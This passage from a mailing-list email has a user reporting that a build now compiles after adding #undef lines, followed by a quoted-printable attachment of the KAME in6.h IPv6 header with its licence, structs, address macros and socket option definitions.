CBLOCK" and >> "#undef hz"? >> > > I added the lines: > > #undef TIME_RELATIVE > #undef TIME_ABSOLUTE > > immediately following #undef CBLOCK and #undef hz. Now attempting to > invoke make again... > > It compiled all the way through and passed all the "make check" tests. > Thanks for the help :-) > > Sunil >> >> --Apple-Mail-964867117-4 Content-Disposition: attachment; filename=in6.h Content-Type: application/octet-stream; name=in6.h; x-unix-mode=0644 Content-Transfer-Encoding: quoted-printable /*=09$KAME:=20in6.h,v=201.40=202000/03/25=2007:23:42=20sumikawa=20Exp=20= $=09*/=0A=0A/*=0A=20*=20Copyright=20(C)=201995,=201996,=201997,=20and=20= 1998=20WIDE=20Project.=0A=20*=20All=20rights=20reserved.=0A=20*=0A=20*=20= Redistribution=20and=20use=20in=20source=20and=20binary=20forms,=20with=20= or=20without=0A=20*=20modification,=20are=20permitted=20provided=20that=20= the=20following=20conditions=0A=20*=20are=20met:=0A=20*=201.=20= Redistributions=20of=20source=20code=20must=20retain=20the=20above=20= copyright=0A=20*=20=20=20=20notice,=20this=20list=20of=20conditions=20= and=20the=20following=20disclaimer.=0A=20*=202.=20Redistributions=20in=20= binary=20form=20must=20reproduce=20the=20above=20copyright=0A=20*=20=20=20= =20notice,=20this=20list=20of=20conditions=20and=20the=20following=20= disclaimer=20in=20the=0A=20*=20=20=20=20documentation=20and/or=20other=20= materials=20provided=20with=20the=20distribution.=0A=20*=203.=20Neither=20= the=20name=20of=20the=20project=20nor=20the=20names=20of=20its=20= contributors=0A=20*=20=20=20=20may=20be=20used=20to=20endorse=20or=20= promote=20products=20derived=20from=20this=20software=0A=20*=20=20=20=20= without=20specific=20prior=20written=20permission.=0A=20*=0A=20*=20THIS=20= SOFTWARE=20IS=20PROVIDED=20BY=20THE=20PROJECT=20AND=20CONTRIBUTORS=20= ``AS=20IS''=20AND=0A=20*=20ANY=20EXPRESS=20OR=20IMPLIED=20WARRANTIES,=20= INCLUDING,=20BUT=20NOT=20LIMITED=20TO,=20THE=0A=20*=20IMPLIED=20= WARRANTIES=20OF=20MERCHANTABILITY=20AND=20FITNESS=20FOR=20A=20PARTICULAR=20= PURPOSE=0A=20*=20ARE=20DISCLAIMED.=20=20IN=20NO=20EVENT=20SHALL=20THE=20= PROJECT=20OR=20CONTRIBUTORS=20BE=20LIABLE=0A=20*=20FOR=20ANY=20DIRECT,=20= INDIRECT,=20INCIDENTAL,=20SPECIAL,=20EXEMPLARY,=20OR=20CONSEQUENTIAL=0A=20= *=20DAMAGES=20(INCLUDING,=20BUT=20NOT=20LIMITED=20TO,=20PROCUREMENT=20OF=20= SUBSTITUTE=20GOODS=0A=20*=20OR=20SERVICES;=20LOSS=20OF=20USE,=20DATA,=20= OR=20PROFITS;=20OR=20BUSINESS=20INTERRUPTION)=0A=20*=20HOWEVER=20CAUSED=20= AND=20ON=20ANY=20THEORY=20OF=20LIABILITY,=20WHETHER=20IN=20CONTRACT,=20= STRICT=0A=20*=20LIABILITY,=20OR=20TORT=20(INCLUDING=20NEGLIGENCE=20OR=20= OTHERWISE)=20ARISING=20IN=20ANY=20WAY=0A=20*=20OUT=20OF=20THE=20USE=20OF=20= THIS=20SOFTWARE,=20EVEN=20IF=20ADVISED=20OF=20THE=20POSSIBILITY=20OF=0A=20= *=20SUCH=20DAMAGE.=0A=20*/=0A=0A/*=0A=20*=20Copyright=20(c)=201982,=20= 1986,=201990,=201993=0A=20*=09The=20Regents=20of=20the=20University=20of=20= California.=20=20All=20rights=20reserved.=0A=20*=0A=20*=20Redistribution=20= and=20use=20in=20source=20and=20binary=20forms,=20with=20or=20without=0A=20= *=20modification,=20are=20permitted=20provided=20that=20the=20following=20= conditions=0A=20*=20are=20met:=0A=20*=201.=20Redistributions=20of=20= source=20code=20must=20retain=20the=20above=20copyright=0A=20*=20=20=20=20= notice,=20this=20list=20of=20conditions=20and=20the=20following=20= disclaimer.=0A=20*=202.=20Redistributions=20in=20binary=20form=20must=20= reproduce=20the=20above=20copyright=0A=20*=20=20=20=20notice,=20this=20= list=20of=20conditions=20and=20the=20following=20disclaimer=20in=20the=0A= =20*=20=20=20=20documentation=20and/or=20other=20materials=20provided=20= with=20the=20distribution.=0A=20*=203.=20All=20advertising=20materials=20= mentioning=20features=20or=20use=20of=20this=20software=0A=20*=20=20=20=20= must=20display=20the=20following=20acknowledgement:=0A=20*=09This=20= product=20includes=20software=20developed=20by=20the=20University=20of=0A= =20*=09California,=20Berkeley=20and=20its=20contributors.=0A=20*=204.=20= Neither=20the=20name=20of=20the=20University=20nor=20the=20names=20of=20= its=20contributors=0A=20*=20=20=20=20may=20be=20used=20to=20endorse=20or=20= promote=20products=20derived=20from=20this=20software=0A=20*=20=20=20=20= without=20specific=20prior=20written=20permission.=0A=20*=0A=20*=20THIS=20= SOFTWARE=20IS=20PROVIDED=20BY=20THE=20REGENTS=20AND=20CONTRIBUTORS=20= ``AS=20IS''=20AND=0A=20*=20ANY=20EXPRESS=20OR=20IMPLIED=20WARRANTIES,=20= INCLUDING,=20BUT=20NOT=20LIMITED=20TO,=20THE=0A=20*=20IMPLIED=20= WARRANTIES=20OF=20MERCHANTABILITY=20AND=20FITNESS=20FOR=20A=20PARTICULAR=20= PURPOSE=0A=20*=20ARE=20DISCLAIMED.=20=20IN=20NO=20EVENT=20SHALL=20THE=20= REGENTS=20OR=20CONTRIBUTORS=20BE=20LIABLE=0A=20*=20FOR=20ANY=20DIRECT,=20= INDIRECT,=20INCIDENTAL,=20SPECIAL,=20EXEMPLARY,=20OR=20CONSEQUENTIAL=0A=20= *=20DAMAGES=20(INCLUDING,=20BUT=20NOT=20LIMITED=20TO,=20PROCUREMENT=20OF=20= SUBSTITUTE=20GOODS=0A=20*=20OR=20SERVICES;=20LOSS=20OF=20USE,=20DATA,=20= OR=20PROFITS;=20OR=20BUSINESS=20INTERRUPTION)=0A=20*=20HOWEVER=20CAUSED=20= AND=20ON=20ANY=20THEORY=20OF=20LIABILITY,=20WHETHER=20IN=20CONTRACT,=20= STRICT=0A=20*=20LIABILITY,=20OR=20TORT=20(INCLUDING=20NEGLIGENCE=20OR=20= OTHERWISE)=20ARISING=20IN=20ANY=20WAY=0A=20*=20OUT=20OF=20THE=20USE=20OF=20= THIS=20SOFTWARE,=20EVEN=20IF=20ADVISED=20OF=20THE=20POSSIBILITY=20OF=0A=20= *=20SUCH=20DAMAGE.=0A=20*=0A=20*=09@(#)in.h=098.3=20(Berkeley)=201/3/94=0A= =20*/=0A=0A#ifndef=20__KAME_NETINET_IN_H_INCLUDED_=0A#error=20"do=20not=20= include=20netinet6/in6.h=20directly,=20include=20netinet/in.h"=0A#endif=0A= =0A#ifndef=20_NETINET6_IN6_H_=0A#define=20_NETINET6_IN6_H_=0A=0A#if=20= !defined(_XOPEN_SOURCE)=0A#include=20=0A#endif=0A=0A/*=0A=20= *=20Identification=20of=20the=20network=20protocol=20stack=0A=20*/=0A= #define=20__KAME__=0A#define=20__KAME_VERSION=09=09"STABLE=2020000425"=0A= =0A/*=0A=20*=20Local=20port=20number=20conventions:=0A=20*=0A=20*=20= Ports=20<=20IPPORT_RESERVED=20are=20reserved=20for=20privileged=20= processes=20(e.g.=20root),=0A=20*=20unless=20a=20kernel=20is=20compiled=20= with=20IPNOPRIVPORTS=20defined.=0A=20*=0A=20*=20When=20a=20user=20does=20= a=20bind(2)=20or=20connect(2)=20with=20a=20port=20number=20of=20zero,=0A=20= *=20a=20non-conflicting=20local=20port=20address=20is=20chosen.=0A=20*=0A= =20*=20The=20default=20range=20is=20IPPORT_ANONMIX=20to=20= IPPORT_ANONMAX,=20although=0A=20*=20that=20is=20settable=20by=20= sysctl(3);=20net.inet.ip.anonportmin=20and=0A=20*=20= net.inet.ip.anonportmax=20respectively.=0A=20*=0A=20*=20A=20user=20may=20= set=20the=20IPPROTO_IP=20option=20IP_PORTRANGE=20to=20change=20this=0A=20= *=20default=20assignment=20range.=0A=20*=0A=20*=20The=20value=20= IP_PORTRANGE_DEFAULT=20causes=20the=20default=20behavior.=0A=20*=0A=20*=20= The=20value=20IP_PORTRANGE_HIGH=20is=20the=20same=20as=20= IP_PORTRANGE_DEFAULT,=0A=20*=20and=20exists=20only=20for=20FreeBSD=20= compatibility=20purposes.=0A=20*=0A=20*=20The=20value=20IP_PORTRANGE_LOW=20= changes=20the=20range=20to=20the=20"low"=20are=0A=20*=20that=20is=20(by=20= convention)=20restricted=20to=20privileged=20processes.=0A=20*=20This=20= convention=20is=20based=20on=20"vouchsafe"=20principles=20only.=0A=20*=20= It=20is=20only=20secure=20if=20you=20trust=20the=20remote=20host=20to=20= restrict=20these=20ports.=0A=20*=20The=20range=20is=20IPPORT_RESERVEDMIN=20= to=20IPPORT_RESERVEDMAX.=0A=20*/=0A=0A#define=09IPV6PORT_RESERVED=091024=0A= #define=09IPV6PORT_ANONMIN=0949152=0A#define=09IPV6PORT_ANONMAX=0965535=0A= #define=09IPV6PORT_RESERVEDMIN=09600=0A#define=09IPV6PORT_RESERVEDMAX=09= (IPV6PORT_RESERVED-1)=0A=0A/*=0A=20*=20IPv6=20address=0A=20*/=0Astruct=20= in6_addr=20{=0A=09union=20{=0A=09=09u_int8_t=20=20=20__u6_addr8[16];=0A=09= =09u_int16_t=20=20__u6_addr16[8];=0A=09=09u_int32_t=20=20__u6_addr32[4];=0A= =09}=20__u6_addr;=09=09=09/*=20128-bit=20IP6=20address=20*/=0A};=0A=0A= #define=20s6_addr=20=20=20__u6_addr.__u6_addr8=0A#ifdef=20KERNEL=09/*XXX=20= nonstandard*/=0A#define=20s6_addr8=20=20__u6_addr.__u6_addr8=0A#define=20= s6_addr16=20__u6_addr.__u6_addr16=0A#define=20s6_addr32=20= __u6_addr.__u6_addr32=0A#endif=0A=0A#define=20INET6_ADDRSTRLEN=0946=0A=0A= /*=0A=20*=20Socket=20address=20for=20IPv6=0A=20*/=0A#if=20= !defined(_XOPEN_SOURCE)=0A#define=20SIN6_LEN=0A#endif=0Astruct=20= sockaddr_in6=20{=0A=09u_int8_t=09sin6_len;=09/*=20length=20of=20this=20= struct(sa_family_t)*/=0A=09u_int8_t=09sin6_family;=09/*=20AF_INET6=20= (sa_family_t)=20*/=0A=09u_int16_t=09sin6_port;=09/*=20Transport=20layer=20= port=20#=20(in_port_t)*/=0A=09u_int32_t=09sin6_flowinfo;=09/*=20IP6=20= flow=20information=20*/=0A=09struct=20in6_addr=09sin6_addr;=09/*=20IP6=20= address=20*/=0A=09u_int32_t=09sin6_scope_id;=09/*=20intface=20scope=20id=20= */=0A};=0A=0A/*=0A=20*=20Local=20definition=20for=20masks=0A=20*/=0A= #ifdef=20KERNEL=09/*XXX=20nonstandard*/=0A#define=20IN6MASK0=09{{{=200,=20= 0,=200,=200,=200,=200,=200,=200,=200,=200,=200,=200,=200,=200,=200,=200=20= }}}=0A#define=20IN6MASK32=09{{{=200xff,=200xff,=200xff,=200xff,=200x00,=20= 0x00,=200x00,=200x00,=20\=0A=09=09=09=20=20=20=200x00,=200x00,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00=20}}}=0A#define=20IN6MASK64=09{{{=20= 0xff,=200xff,=200xff,=200xff,=200xff,=200xff,=200xff,=200xff,=20\=0A=09=09= =09=20=20=20=200x00,=200x00,=200x00,=200x00,=200x00,=200x00,=200x00,=20= 0x00=20}}}=0A#define=20IN6MASK96=09{{{=200xff,=200xff,=200xff,=200xff,=20= 0xff,=200xff,=200xff,=200xff,=20\=0A=09=09=09=20=20=20=200xff,=200xff,=20= 0xff,=200xff,=200x00,=200x00,=200x00,=200x00=20}}}=0A#define=20= IN6MASK128=09{{{=200xff,=200xff,=200xff,=200xff,=200xff,=200xff,=200xff,=20= 0xff,=20\=0A=09=09=09=20=20=20=200xff,=200xff,=200xff,=200xff,=200xff,=20= 0xff,=200xff,=200xff=20}}}=0A#endif=0A=0A#ifdef=20KERNEL=0Aextern=20= const=20struct=20in6_addr=20in6mask0;=0Aextern=20const=20struct=20= in6_addr=20in6mask32;=0Aextern=20const=20struct=20in6_addr=20in6mask64;=0A= extern=20const=20struct=20in6_addr=20in6mask96;=0Aextern=20const=20= struct=20in6_addr=20in6mask128;=0A#endif=20/*=20KERNEL=20*/=0A=0A/*=0A=20= *=20Macros=20started=20with=20IPV6_ADDR=20is=20KAME=20local=0A=20*/=0A= #ifdef=20KERNEL=09/*XXX=20nonstandard*/=0A#if=20BYTE_ORDER=20=3D=3D=20= BIG_ENDIAN=0A#define=20IPV6_ADDR_INT32_ONE=091=0A#define=20= IPV6_ADDR_INT32_TWO=092=0A#define=20IPV6_ADDR_INT32_MNL=090xff010000=0A= #define=20IPV6_ADDR_INT32_MLL=090xff020000=0A#define=20= IPV6_ADDR_INT32_SMP=090x0000ffff=0A#define=20IPV6_ADDR_INT16_ULL=09= 0xfe80=0A#define=20IPV6_ADDR_INT16_USL=090xfec0=0A#define=20= IPV6_ADDR_INT16_MLL=090xff02=0A#elif=20BYTE_ORDER=20=3D=3D=20= LITTLE_ENDIAN=0A#define=20IPV6_ADDR_INT32_ONE=090x01000000=0A#define=20= IPV6_ADDR_INT32_TWO=090x02000000=0A#define=20IPV6_ADDR_INT32_MNL=09= 0x000001ff=0A#define=20IPV6_ADDR_INT32_MLL=090x000002ff=0A#define=20= IPV6_ADDR_INT32_SMP=090xffff0000=0A#define=20IPV6_ADDR_INT16_ULL=09= 0x80fe=0A#define=20IPV6_ADDR_INT16_USL=090xc0fe=0A#define=20= IPV6_ADDR_INT16_MLL=090x02ff=0A#endif=0A#endif=0A=0A/*=0A=20*=20= Definition=20of=20some=20useful=20macros=20to=20handle=20IP6=20addresses=0A= =20*/=0A#define=20IN6ADDR_ANY_INIT=20\=0A=09{{{=200x00,=200x00,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00,=200x00=20}}}=0A#define=20= IN6ADDR_LOOPBACK_INIT=20\=0A=09{{{=200x00,=200x00,=200x00,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x01=20}}}=0A#define=20= IN6ADDR_NODELOCAL_ALLNODES_INIT=20\=0A=09{{{=200xff,=200x01,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00,=200x01=20}}}=0A#define=20= IN6ADDR_LINKLOCAL_ALLNODES_INIT=20\=0A=09{{{=200xff,=200x02,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00,=200x01=20}}}=0A#define=20= IN6ADDR_LINKLOCAL_ALLROUTERS_INIT=20\=0A=09{{{=200xff,=200x02,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=20= 0x00,=200x00,=200x00,=200x00,=200x00,=200x02=20}}}=0A=0A#ifdef=20KERNEL=0A= extern=20const=20struct=20in6_addr=20in6addr_any;=0Aextern=20const=20= struct=20in6_addr=20in6addr_loopback;=0Aextern=20const=20struct=20= in6_addr=20in6addr_nodelocal_allnodes;=0Aextern=20const=20struct=20= in6_addr=20in6addr_linklocal_allnodes;=0Aextern=20const=20struct=20= in6_addr=20in6addr_linklocal_allrouters;=0A#endif=0A=0A/*=0A=20*=20= Equality=0A=20*=20NOTE:=20Some=20of=20kernel=20programming=20environment=20= (for=20example,=20openbsd/sparc)=0A=20*=20does=20not=20supply=20= memcmp().=20=20For=20userland=20memcmp()=20is=20preferred=20as=20it=20is=0A= =20*=20in=20ANSI=20standard.=0A=20*/=0A#ifdef=20KERNEL=0A#define=20= IN6_ARE_ADDR_EQUAL(a,=20b)=09=09=09\=0A=09(bcmp((a),=20(b),=20= sizeof(struct=20in6_addr))=20=3D=3D=200)=0A#else=0A#define=20= IN6_ARE_ADDR_EQUAL(a,=20b)=09=09=09\=0A=09(memcmp((a),=20(b),=20= sizeof(struct=20in6_addr))=20=3D=3D=200)=0A#endif=0A=0A/*=0A=20*=20= Unspecified=0A=20*/=0A#define=20IN6_IS_ADDR_UNSPECIFIED(a)=09\=0A=09= ((*(u_int32_t=20*)(&(a)->s6_addr[0])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[4])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[8])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[12])=20=3D=3D=200))=0A=0A/*=0A=20*=20= Loopback=0A=20*/=0A#define=20IN6_IS_ADDR_LOOPBACK(a)=09=09\=0A=09= ((*(u_int32_t=20*)(&(a)->s6_addr[0])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[4])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[8])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[12])=20=3D=3D=20ntohl(1)))=0A=0A/*=0A=20= *=20IPv4=20compatible=0A=20*/=0A#define=20IN6_IS_ADDR_V4COMPAT(a)=09=09\=0A= =09((*(u_int32_t=20*)(&(a)->s6_addr[0])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[4])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[8])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[12])=20!=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[12])=20!=3D=20ntohl(1)))=0A=0A/*=0A=20*=20= Mapped=0A=20*/=0A#define=20IN6_IS_ADDR_V4MAPPED(a)=09=09=20=20=20=20=20=20= \=0A=09((*(u_int32_t=20*)(&(a)->s6_addr[0])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[4])=20=3D=3D=200)=20&&=09\=0A=09=20= (*(u_int32_t=20*)(&(a)->s6_addr[8])=20=3D=3D=20ntohl(0x0000ffff)))=0A=0A= /*=0A=20*=20KAME=20Scope=20Values=0A=20*/=0A=0A#ifdef=20KERNEL=09/*XXX=20= nonstandard*/=0A#define=20IPV6_ADDR_SCOPE_NODELOCAL=090x01=0A#define=20= IPV6_ADDR_SCOPE_LINKLOCAL=090x02=0A#define=20IPV6_ADDR_SCOPE_SITELOCAL=09= 0x05=0A#define=20IPV6_ADDR_SCOPE_ORGLOCAL=090x08=09/*=20just=20used=20in=20= this=20file=20*/=0A#define=20IPV6_ADDR_SCOPE_GLOBAL=09=090x0e=0A#else=0A= #define=20__IPV6_ADDR_SCOPE_NODELOCAL=090x01=0A#define=20= __IPV6_ADDR_SCOPE_LINKLOCAL=090x02=0A#define=20= __IPV6_ADDR_SCOPE_SITELOCAL=090x05=0A#define=20= __IPV6_ADDR_SCOPE_ORGLOCAL=090x08=09/*=20just=20used=20in=20this=20file=20= */=0A#define=20__IPV6_ADDR_SCOPE_GLOBAL=090x0e=0A#endif=0A=0A/*=0A=20*=20= Unicast=20Scope=0A=20*=20Note=20that=20we=20must=20check=20topmost=2010=20= bits=20only,=20not=2016=20bits=20(see=20RFC2373).=0A=20*/=0A#define=20= IN6_IS_ADDR_LINKLOCAL(a)=09\=0A=09(((a)->s6_addr[0]=20=3D=3D=200xfe)=20= &&=20(((a)->s6_addr[1]=20&=200xc0)=20=3D=3D=200x80))=0A#define=20= IN6_IS_ADDR_SITELOCAL(a)=09\=0A=09(((a)->s6_addr[0]=20=3D=3D=200xfe)=20= &&=20(((a)->s6_addr[1]=20&=200xc0)=20=3D=3D=200xc0))=0A=0A/*=0A=20*=20= Multicast=0A=20*/=0A#define=20IN6_IS_ADDR_MULTICAST(a)=09= ((a)->s6_addr[0]=20=3D=3D=200xff)=0A=0A#ifdef=20KERNEL=09/*XXX=20= nonstandard*/=0A#define=20IPV6_ADDR_MC_SCOPE(a)=09=09((a)->s6_addr[1]=20= &=200x0f)=0A#else=0A#define=20__IPV6_ADDR_MC_SCOPE(a)=09=09= ((a)->s6_addr[1]=20&=200x0f)=0A#endif=0A=0A/*=0A=20*=20Multicast=20Scope=0A= =20*/=0A#ifdef=20KERNEL=09/*refers=20nonstandard=20items=20*/=0A#define=20= IN6_IS_ADDR_MC_NODELOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20&&=09\=0A= =09=20(IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20IPV6_ADDR_SCOPE_NODELOCAL))=0A= #define=20IN6_IS_ADDR_MC_LINKLOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20= &&=09\=0A=09=20(IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20= IPV6_ADDR_SCOPE_LINKLOCAL))=0A#define=20IN6_IS_ADDR_MC_SITELOCAL(a)=09\=0A= =09(IN6_IS_ADDR_MULTICAST(a)=20&&=20=09\=0A=09=20(IPV6_ADDR_MC_SCOPE(a)=20= =3D=3D=20IPV6_ADDR_SCOPE_SITELOCAL))=0A#define=20= IN6_IS_ADDR_MC_ORGLOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20&&=09\=0A= =09=20(IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20IPV6_ADDR_SCOPE_ORGLOCAL))=0A= #define=20IN6_IS_ADDR_MC_GLOBAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20= &&=09\=0A=09=20(IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20= IPV6_ADDR_SCOPE_GLOBAL))=0A#else=0A#define=20IN6_IS_ADDR_MC_NODELOCAL(a)=09= \=0A=09(IN6_IS_ADDR_MULTICAST(a)=20&&=09\=0A=09=20= (__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20__IPV6_ADDR_SCOPE_NODELOCAL))=0A= #define=20IN6_IS_ADDR_MC_LINKLOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20= &&=09\=0A=09=20(__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20= __IPV6_ADDR_SCOPE_LINKLOCAL))=0A#define=20IN6_IS_ADDR_MC_SITELOCAL(a)=09= \=0A=09(IN6_IS_ADDR_MULTICAST(a)=20&&=20=09\=0A=09=20= (__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20__IPV6_ADDR_SCOPE_SITELOCAL))=0A= #define=20IN6_IS_ADDR_MC_ORGLOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20= &&=09\=0A=09=20(__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20= __IPV6_ADDR_SCOPE_ORGLOCAL))=0A#define=20IN6_IS_ADDR_MC_GLOBAL(a)=09\=0A=09= (IN6_IS_ADDR_MULTICAST(a)=20&&=09\=0A=09=20(__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D= =20__IPV6_ADDR_SCOPE_GLOBAL))=0A#endif=0A=0A/*=0A=20*=20Wildcard=20= Socket=0A=20*/=0A#if=200=09/*pre-RFC2553*/=0A#define=20= IN6_IS_ADDR_ANY(a)=09IN6_IS_ADDR_UNSPECIFIED(a)=0A#endif=0A=0A/*=0A=20*=20= KAME=20Scope=0A=20*/=0A#ifdef=20KERNEL=09/*nonstandard*/=0A#define=20= IN6_IS_SCOPE_LINKLOCAL(a)=09\=0A=09((IN6_IS_ADDR_LINKLOCAL(a))=20||=09\=0A= =09=20(IN6_IS_ADDR_MC_LINKLOCAL(a)))=0A#endif=0A=0A/*=0A=20*=20IP6=20= route=20structure=0A=20*/=0A#if=20!defined(_XOPEN_SOURCE)=0Astruct=20= route_in6=20{=0A=09struct=09rtentry=20*ro_rt;=0A=09struct=09sockaddr_in6=20= ro_dst;=0A};=0A#endif=0A=0A/*=0A=20*=20Options=20for=20use=20with=20= [gs]etsockopt=20at=20the=20IPV6=20level.=0A=20*=20First=20word=20of=20= comment=20is=20data=20type;=20bool=20is=20stored=20in=20int.=0A=20*/=0A= /*=20no=20hdrincl=20*/=0A#if=200=20/*=20the=20followings=20are=20relic=20= in=20IPv4=20and=20hence=20are=20disabled=20*/=0A#define=20IPV6_OPTIONS=09= =091=20=20/*=20buf/ip6_opts;=20set/get=20IP6=20options=20*/=0A#define=20= IPV6_RECVOPTS=09=095=20=20/*=20bool;=20receive=20all=20IP6=20opts=20= w/dgram=20*/=0A#define=20IPV6_RECVRETOPTS=096=20=20/*=20bool;=20receive=20= IP6=20opts=20for=20response=20*/=0A#define=20IPV6_RECVDSTADDR=097=20=20= /*=20bool;=20receive=20IP6=20dst=20addr=20w/dgram=20*/=0A#define=20= IPV6_RETOPTS=09=098=20=20/*=20ip6_opts;=20set/get=20IP6=20options=20*/=0A= #endif=0A#define=20IPV6_SOCKOPT_RESERVED1=093=20=20/*=20reserved=20for=20= future=20use=20*/=0A#define=20IPV6_UNICAST_HOPS=094=20=20/*=20int;=20IP6=20= hops=20*/=0A#define=20IPV6_MULTICAST_IF=099=20=20/*=20u_char;=20set/get=20= IP6=20multicast=20i/f=20=20*/=0A#define=20IPV6_MULTICAST_HOPS=0910=20/*=20= u_char;=20set/get=20IP6=20multicast=20hops=20*/=0A#define=20= IPV6_MULTICAST_LOOP=0911=20/*=20u_char;=20set/get=20IP6=20multicast=20= loopback=20*/=0A#define=20IPV6_JOIN_GROUP=09=0912=20/*=20ip6_mreq;=20= join=20a=20group=20membership=20*/=0A#define=20IPV6_LEAVE_GROUP=0913=20= /*=20ip6_mreq;=20leave=20a=20group=20membership=20*/=0A#define=20= IPV6_PORTRANGE=09=0914=20/*=20int;=20range=20to=20choose=20for=20unspec=20= port=20*/=0A#define=20ICMP6_FILTER=09=0918=20/*=20icmp6_filter;=20icmp6=20= filter=20*/=0A#define=20IPV6_PKTINFO=09=0919=20/*=20in6_pktinfo;=20send=20= if,=20src=20addr=20*/=0A#define=20IPV6_HOPLIMIT=09=0920=20/*=20int;=20= send=20hop=20limit=20*/=0A#define=20IPV6_NEXTHOP=09=0921=20/*=20= sockaddr;=20next=20hop=20addr=20*/=0A#define=20IPV6_HOPOPTS=09=0922=20/*=20= ip6_hbh;=20send=20hop-by-hop=20option=20*/=0A#define=20IPV6_DSTOPTS=09=09= 23=20/*=20ip6_dest;=20send=20dst=20option=20befor=20rthdr=20*/=0A#define=20= IPV6_RTHDR=09=0924=20/*=20ip6_rthdr;=20send=20routing=20header=20*/=0A= #define=20IPV6_PKTOPTIONS=09=0925=20/*=20buf/cmsghdr;=20set/get=20IPv6=20= options=20*/=0A=09=09=09=09=20=20=20/*=20obsoleted=20by=202292bis=20*/=0A= #define=20IPV6_CHECKSUM=09=0926=20/*=20int;=20checksum=20offset=20for=20= raw=20socket=20*/=0A#define=20IPV6_BINDV6ONLY=09=0927=20/*=20bool;=20= only=20bind=20INET6=20at=20null=20bind=20*/=0A=0A#if=201=20/*IPSEC*/=0A= #define=20IPV6_IPSEC_POLICY=0928=20/*=20struct;=20get/set=20security=20= policy=20*/=0A#endif=0A#define=20IPV6_FAITH=09=0929=20/*=20bool;=20= accept=20FAITH'ed=20connections=20*/=0A=0A#if=201=20/*IPV6FIREWALL*/=0A= #define=20IPV6_FW_ADD=09=0930=20/*=20add=20a=20firewall=20rule=20to=20= chain=20*/=0A#define=20IPV6_FW_DEL=09=0931=20/*=20delete=20a=20firewall=20= rule=20from=20chain=20*/=0A#define=20IPV6_FW_FLUSH=09=0932=20/*=20flush=20= firewall=20rule=20chain=20*/=0A#define=20IPV6_FW_ZERO=09=0933=20/*=20= clear=20single/all=20firewall=20counter(s)=20*/=0A#define=20IPV6_FW_GET=09= =0934=20/*=20get=20entire=20firewall=20rule=20chain=20*/=0A#endif=0A=0A= /*=20new=20socket=20options=20introduced=20in=20RFC2292bis=20*/=0A= #define=20IPV6_RTHDRDSTOPTS=0935=20/*=20ip6_dest;=20send=20dst=20option=20= before=20rthdr=20*/=0A=0A#define=20IPV6_RECVPKTINFO=0936=20/*=20bool;=20= recv=20if,=20dst=20addr=20*/=0A#define=20IPV6_RECVHOPLIMIT=0937=20/*=20= bool;=20recv=20hop=20limit=20*/=0A#define=20IPV6_RECVRTHDR=09=0938=20/*=20= bool;=20recv=20routing=20header=20*/=0A#define=20IPV6_RECVHOPOPTS=0939=20= /*=20bool;=20recv=20hop-by-hop=20option=20*/=0A#define=20= IPV6_RECVDSTOPTS=0940=20/*=20bool;=20recv=20dst=20option=20after=20rthdr=20= */=0A#define=20IPV6_RECVRTHDRDSTOPTS=0941=20/*=20bool;=20recv=20dst=20= option=20before=20rthdr=20*/=0A=0A#define=20IPV6_USE_MIN_MTU=0942=20/*=20= bool;=20send=20packets=20at=20the=20minimum=20MTU=20*/=0A#define=20= IPV6_RECVPATHMTU=0943=20/*=20bool;=20notify=20an=20according=20MTU=20*/=0A= =0A/*=20the=20followings=20are=20used=20as=20cmsg=20type=20only=20*/=0A= #define=20IPV6_PATHMTU=09=0944=20/*=204=20bytes=20int;=20MTU=20= notification=20*/=0A#define=20IPV6_REACHCONF=09=0945=20/*=20no=20data;=20= ND=20reachability=20confirm=20*/=0A=0A#define=20IPV6_RTHDR_LOOSE=20=20=20= =20=200=20/*=20this=20hop=20need=20not=20be=20a=20neighbor.=20XXX=20old=20= spec=20*/=0A#define=20IPV6_RTHDR_STRICT=20=20=20=201=20/*=20this=20hop=20= 